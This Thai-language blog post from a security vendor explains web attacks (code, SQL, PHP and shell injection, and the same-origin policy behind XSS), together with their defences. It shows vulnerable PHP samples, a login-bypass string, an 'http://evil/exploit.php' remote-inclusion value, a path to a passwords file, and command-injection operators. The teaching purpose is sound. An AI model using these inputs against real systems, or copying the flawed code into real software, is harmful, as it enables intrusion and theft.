<u>ลักษณะภัยคุกคามที่เกิดขึ้นจากการโจมตีเว็บไซด์ในช่วงเทศกาล</u>

สวัสดีปีใหม่ครับ ในช่วงเทศกาลปีใหม่ได้รับข่าวสารจากต่างประเทศในหลายๆ สำนักพบว่ามีการแพร่ระบาดของกลุ่ม Storm Worm มากมาย ส่วนหนึ่งคงเป็นการติดเป็นผีดิบ หรือเรียกว่า Zombie และผีดิบเหล่านี้เองจะทำงานโดยที่เราก็ไม่รู้ตัว อาจอยู่บนเครื่องคนใกล้ตัวเรา หรืออาจเป็นเครื่องของเราเอง ผีดิบจำนวนมากขึ้น เราเรียกว่า Botnet หรือกองทัพ Botnet นั่นเอง การโจมตีของ Botnet ที่เป็นที่นิยมกันในการหาอาณานิคมใหม่ หรือแหล่งที่อยู่ใหม่เพื่อเพิ่มจำนวนผีดิบเหล่านี้ คือการเขียนให้โจมตีเว็บไซด์ ในบทความนี้ผมถือโอกาสให้แง่มุมรูปแบบในการโจมตีเว็บไซด์ ดังต่อไปนี้ครับ

1. Code injection

code injection เป็นเทคนิคที่ใส่โค้ดที่ต้องการเข้าไปใน computer process ที่กำลังทำงานอยู่ ซึ่งอาจทำแบบ local หรือ remote ผ่านเว็บ เป็นเทคนิคที่ใช้ในการเจาะระบบ เพื่อให้ได้ข้อมูลหรือการเข้าถึงระบบโดยไม่ได้รับอนุญาต

การป้องกัน Code Injection

การตรวจสอบ / แก้ไข input

การตรวจสอบ (หรือแก้ไข) input จากผู้ใช้เพื่อให้แน่ใจว่า input นั้นปลอดภัยก่อนการใช้ วิธีที่ดีที่สุดคือการกำจัด input ที่น่าสงสัย (Terminate on suspicious input) และการใช้กลยุทธ์ Filter in known goods เพื่อให้สามารถกำหนดได้ว่าการเอ็กซิคิวท์การถูกกำจัดหรือไม่

- Terminate on suspicious input เป็นกลยุทธ์ที่ปลอดภัยมาก ถ้ามีอักขระที่ไม่คาดถึงใน input จะมีการยกเลิกการเอ็กซิคิวท์
- Throw away bad charaters เป็นอีกทางเลือกหนึ่งที่นอกเหนือจาก Terminate on suspicious input อักขระที่น่าสงสัยจะถูกนำออกจาก input และสร้างสายอักขระที่สั้นกว่าที่ไม่มีอักขระที่น่าสงสัย ใน application หลาย ๆ ตัววิธีนี้เป็นวิธีเดียวที่ปฏิบัติได้จริง อย่างไรก็ตามวิธีนี้อาจมีโอกาสพบปัญหาด้านความปลอดภัยมากกว่า
- Fiter in known goods ถ้าคาดหวังว่า input จำกัดอยู่ที่ตัวอักษร A-Z หรือ a-z แต่ถ้าได้รับ ; ls –l input ดั้งเดิมจะถูกแทนที่ด้วย lsl (และ ; - / ถูกกำจัดออกไป)
- Filter out known bads เป็นกลยุทธ์ที่ไม่ดี ถ้ากลุ่มอักขระ [:;.-/] เป็นอักขระที่ไม่ดี แต่ได้รับ ; ls -l / input ดั้งเดิมจะถูกแทนที่ด้วย ls l (และกำจัด ;-/ ออกไป) การใช้ filter out known bad มักถูกมองว่าเป็นการบอกถึงการขาดความสามารถของผู้พัฒนา เนื่องจาก

- กลยุทธ์นี้ไม่ป้องกันจากภัยคุกคามที่ไม่รู้จัก นักพัฒนาโดยทั่ว ๆ ไป หรือแม้แต่ Security engineer ไม่สามารถรู้ถึงเทคนิคในการโจมตีทั้งหมดได้ การป้องกันเพียงสิ่งที่คุณรู้ คือการไม่ป้องกันต่อสิ่งที่คุณไม่รู้ทั้งหมด

- กลยุทธ์นี้ไม่ป้องกันจากภัยคุกคามในอนาคต ถึงแม้การออกแบบ filter-out จะมีความปลอดภัยในตอนสร้างขึ้นมา แต่ส่วนอื่น ๆ ของระบบอาจเปลี่ยนไปในอนาคต เช่น security filter สำหรับ UNIX command line ออกแบบมาเพื่อหยุดการโจมตี C shell

อาจไม่ปลอดภัยอีกต่อไปถ้าซอฟท์แวร์ดังกล่าวถูกย้ายไปในสภาพแวดล้อมที่ใช้ bash

Encode (escape) output
การเข้ารหัส output เป็นการประมวลผลสายอักขระที่จะถูกส่งออกเป็น output
อักขระที่มาจากกลุ่มอักขระที่ปลอดภัย เช่น a-z, A-Z และ 0-9 มักจะปล่อยให้เป็นอย่างที่มันเป็น
ส่วนอักขระอื่น ๆ อาจเป็นไปได้ที่จะถูกตีความในทางที่ไม่ได้คาดไว้
ดังนั้นจึงถูกแทนที่ด้วยการแสดงในลักษณะที่ถูกเข้ารหัส

การเข้ารหัส HTML : <script> ถูกเข้ารหัสเป็น <script>
การเข้ารหัส SQL : ' OR 1=1 --' ถูกเข้ารหัสเป็น \ \'\ OR\ 1\=1\ \-\-'

วิธีการอื่น ๆ
อาจมีวิธีการอื่น ๆ อีกหลายวิธี ขึ้นอยู่กับภาษาโปรแกรมที่ใช้และชนิดของ code injection
ที่ต้องการป้องกัน

ในการป้องกัน SQL Injection โดยเฉพาะ วิธีการ parameterized queries (รู้จักในชื่อ prepared statements และ bind variables ด้วย) เป็นวิธีที่ยอดเยี่ยมในการปรับปรุงความปลอดภัย
และยังช่วยให้อ่านโค้ดได้ง่ายถึงและเพิ่มสมรรถนะการทำงาน

ตัวอย่างของ Code Injection

SQL Injection
ตัวอย่างของ SQL Injection:
เว็บเพจหนึ่งมีฟิลด์สองฟิลด์ที่ยอมให้ผู้ใช้สามารถใส่ Username และ Password โค้ดภายในเพจจะสร้าง SQL query เพื่อตรวจสอบรหัสผ่านกับรายชื่อของ Username

```
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'
```

ถ้า query นี้ถูกส่งกลับมากว่า 1 แถว ผู้ใช้ก็สามารถเข้าระบบได้ อย่างไรก็ตามผู้ใช้มุ่งร้ายใส่ Username ที่ถูกต้องและใส่โค้ด ("' OR 1=1") เข้าไปในฟิลด์รหัสผ่าน จะทำให้ query ที่ตามมามีลักษณะนี้

```
SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'
```

จากตัวอย่างข้างต้น "Password" ถูกสันนิษฐานว่าเป็นช่องว่าง (blank) หรือสายอักขระที่ไม่มีอันตราย "1=1" จะมีค่าเท่ากับจริง (true) เสมอและจะมีแถวหลายแถวที่ถูกส่งกลับมา
ดังนั้นจึงยอมให้เข้าระบบได้เทคนิคนี้อาจสามารถปรับให้สามารถส่งหลาย ๆ statement
ที่ต้องการให้ทำงาน หรือแม้แต่การโหลดและรัน
โปรแกรมภายนอกได้

PHP Injection

ลองพิจารณาโปรแกรมนี้:

```
<?php
$color = 'blue';
if ( is_set( $GET[ 'COLOR' ] ) )
  $color = $GET[ 'COLOR' ];
require( $color . ".php" );
?>
<FORM>
<select name="COLOR">
<option>red</option>
<option>blue</option>
</select>
<input type=submit>
</FORM>
```

นักพัฒนาคิดว่าโค้ดเพียงเท่านั้นก็สามารถป้องกันให้มีเพียงแต่ blue.php และ red.php
เท่านั้นที่สามารถโหลดได้ แต่เนื่องจากใคร ๆ ก็สามารถส่งค่าที่ต้องการลงใน COLOR
ทำให้เป็นไปได้ที่จะใส่:

- http://evil/exploit.php - ไฟล์ที่อยู่ในโฮสต์อื่นที่มีโค้ดที่ใช้โจมตีอยู่
- C:\ftp\upload\exploit.php - ไฟล์ที่อัพโหลดเข้ามาที่มีโค้ดที่ใช้โจมตี
- C:\Document and settings\Administrator\My Documents\passwords.txt - ไฟล์ที่อยู่ใน server ที่อาจเป็นที่สนใจ

Shell Injection

Shell Inection ตั้งชื่อตาม Unix shells แต่ใช้กับทุกระบบที่ยอมให้ซอฟท์แวร์สามารถเอ็กซิคิวท์ command line ได้โดยการเขียนโปรแกรม โดยทั่วไปต้นกำเนิดของ Shell Injection จะมาจาก system(), StartProcess(), java.lang.Runtime.exec() และ API ที่คล้ายคลึงกัน

ลองพิจารณาโปรแกรม PHP สั้น ๆ ต่อไปนี้ (ซึ่งใช้โปรแกรมภายนอกคือ funnytext เพื่อเปลี่ยนคำจากผู้ใช้ด้วยคำอื่น)

```
<HTML>
<?php
passthru ( " /home/user/phpguru/funnytext "
        . $_GET[ 'USER_INPUT' ] );
?>
```

โปรแกรมอาจถูกใส่คำสั่งในหลาย ๆ วิธีด้วยกัน:

- `command` จะเอ็กซิคิวท์คำสั่ง
- $(command) จะเอ็กซิคิวท์คำสั่ง
- ; command จะเอ็กซิคิวท์คำสั่ง และแสดงผลลัพธ์ของคำสั่ง
- | command จะเอ็กซิคิวท์คำสั่ง และแสดงผลลัพธ์ของคำสั่ง
- && command จะเอ็กซิคิวท์คำสั่ง และแสดงผลลัพธ์ของคำสั่ง
- || command จะเอ็กซิคิวท์คำสั่ง และแสดงผลลัพธ์ของคำสั่ง
- > /home/user/phpguru/.bashrc จะเขียนทับไฟล์ .bashrc.
- < /home/user/phpguru/.bashrc จะส่งไฟล์ .bashrc ไปเป็น input ของ funnytext

PHP มีฟังก์ชั่น escapeshellarg() และ escapeshellcmd() เพื่อทำการเข้ารหัส (encode) ก่อนการเรียกใช้ อย่างไรก็ตามไม่ควรเชื่อถือวิธีการเหล่านี้เพียงอย่างเดียว ควรตรวจสอบและแก้ไข input ด้วย

HTML/Script Injection

HTML/Script Injection รู้จักในชื่อของ Cross Site Scripting (XSS).

2. cross site scripting

cross site scripting เป็นช่องโหว่ด้านความปลอดภัยคอมพิวเตอร์ชนิดหนึ่ง ที่มักเจอใน web application ที่ถูกใช้โดยผู้โจมตีเพื่อโจมตี same origin policy ของ script languages ของฝั่ง client

same origin policy เป็นมาตรการรักษาความปลอดภัยที่สำคัญสำหรับ client-side scripting (ส่วนใหญ่เป็น JavaScript) policy ใช้มาตั้งแต่ Netscape Navigator 2.0 ซึ่งช่วยป้องกันเอกสารหรือสคริปท์ที่โหลดจาก "ต้นกำเนิด" (origin) หนึ่งจากการรับหรือกำหนดคุณสมบัติของเอกสารจาก "ต้นกำเนิด" ที่แตกต่าง

การจำกัดการเข้าถึง (Access restriction)
ปรัชญาของ same origin policy คือ การเชื่อถือสารที่โหลดมาจากเว็บไซต์ใด ๆ ถือว่าไม่ปลอดภัย
สคริปท์ที่ให้ความเชื่อถือเพียงครึ่งเดียวจะทำงานใน sandbox
จึงควรอนุญาตให้เข้าถึงทรัพยากรจากเว็บไซต์เดียวกันเท่านั้น
ไม่สามารถเข้าถึงทรัพยากรจากเว็บไซต์อื่นได้ ซึ่งอาจเป็นทรัพยากรที่มุ่งร้ายได้

Sandbox คือ ระบบย่อยที่มีไว้สำหรับรันโปรแกรมที่ไม่ได้รับความเชื่อถืออย่างปลอดภัย

คำว่า "ต้นกำเนิด" กำหนดโดยใช้ domain name, protocol และ port
เว็ปเพจสองหน้าจะมีต้นกำเนิดเดียวกันถ้ามีค่าสามค่าเหมือน ดังตัวอย่างต่อไปนี้ ที่มีตัวอย่างของ "ต้นกำเนิด" เปรียบเทียบกับ URL
http://www.example.com/dir/page.html

URL	ผล	เหตุผล
http://www.example.com/dir2/other.html	สำเร็จ	
http://www.example.com/dir/inner/other.html	สำเร็จ	
https://www.example.com/dir2/other.html	ล้มเหลว	protocol ต่างกัน
http://en.example.com/dir2/other.html	ล้มเหลว	host ต่างกัน
http://example.com/dir2/other.html	ล้มเหลว	host ต่างกัน
http://www.example.com:81/dir2/other.html	ล้มเหลว	port ต่างกัน

การเอาชนะการจำกัดการเข้าถึง (Overcoming access restriction)

เป็นไปได้ที่จะเอาชนะข้อจำกัดนี้โดยการใช้ลายเซ็นดิจิตอล (digital signature) กับสคริปท์ (signed script) อย่างไรก็ตามในทางปฏิบัติแล้ว ไม่ค่อยมีการใช้วิธีนี้
เหตุผลส่วนใหญ่เป็นเพราะไม่ใช่ทุกคนที่สามารถหาซื้อ digital signature ได้
โดยเฉพาะผู้พัฒนาเว็บที่ทำเป็นงานอดิเรก นอกจากนี้ถึงแม้ว่ามีจะมีการใช้ signed script แล้ว
จะมีหน้าต่าง (window) ปรากฏขึ้นเมื่อใดก็ตามที่สคริปท์ต้องการสิทธิ์เพิ่มขึ้นจากเดิม
ซึ่งเป็นอีกมาตรการหนึ่ง เนื่องจาก signed script ไม่ได้หมายความว่าเป็นสคริปท์ที่เชื่อถือได้ทั้งหมด
เพียงแต่เชื่อถือได้ว่ามาจากต้นกำเนิดนั้น แต่ยังไม่รู้ว่าสคริปท์นั้นจริง ๆ แล้วทำอะไรบ้าง

การนำมาปรับใช้ของ vendor
policy นี้ได้รับการนำมาใช้ในเว็บบราวเซอร์สมัยใหม่ที่สนับสนุน client-side scripting ส่วน Internet Explorer ใช้วิธีการที่เรียกว่า security zones

ดูรายละเอียดเพิ่มเติมเกี่ยวกับ security zones จาก http://www.microsoft.com/windows/ie/using/howto/security/settings.mspx

ที่มาของ cross site scripting

คำว่า cross site scripting ไม่ได้อธิบายชนิดของช่องโหว่นี้ได้อย่างถูกต้องนัก Marc Slemko
ผู้ค้นพบช่องโหว่นี้ได้กล่าวไว้ว่า

“ปัญหานี้ไม่ได้เกี่ยวกับ scripting และไม่จำเป็นต้องสิ่งที่ใดที่ต้อง cross site เกี่ยวกับมัน
แล้วทำไมจึงต้องใช้ชื่อนี้ มีการคิดคำนี้ขึ้นมาเมื่อปัญหานี้ยังมีความเข้าใจไม่มากนัก แล้วจึงติดอยู่กับชื่อนี้
เชื่อผมเถอะ เรามีสิ่งที่ต้องทำมากกว่าการคิดชื่อที่ดีกว่า”

มักมีการใช้ตัวย่อ CSS ในตอนต้นเพื่ออ้างถึงช่องโหว่ cross site scripting แต่คำย่อนี้ได้กลายเป็นความสับสนใจทางเทคนิค เนื่องจาก Cascading Style Sheets และ Content-Scrambling System ต่างก็ใช้คำย่อนี้แล้ว สันนิษฐานว่าการใช้ XSS เป็นคำย่อเป็นครั้งแรกโดย Steve Champeon ในบทความเรื่อง XSS , Trust, and Barney ในปีคศ. 2002 ในเว็บ Webmonkey ของเขา นอกจากนี้ Steve ยังได้เขียนคำแนะนำถึงการใช้ XSS เป็นคำย่อแทนของเดิมส่งไปยังจดหมายข่าว Bugtraq อีกด้วย จากนั้นกลุ่มความปลอดภัยจึงได้นำคำย่อนี้มาใช้แทน และ CSS ก็มีการใช้เพื่ออ้างถึง cross site scripting น้อยมาก

ยังไม่หมดนะครับคงต้องต่อกันตอนต่อไป อย่างไงขอให้ท่านผู้อ่านสุขสันต์ปีใหม่ สวัสดีครับ

นายนนทวรรธนะ สาระมาน
หัวหน้าทีมพัฒนาระบบ SRAN
www.sran.net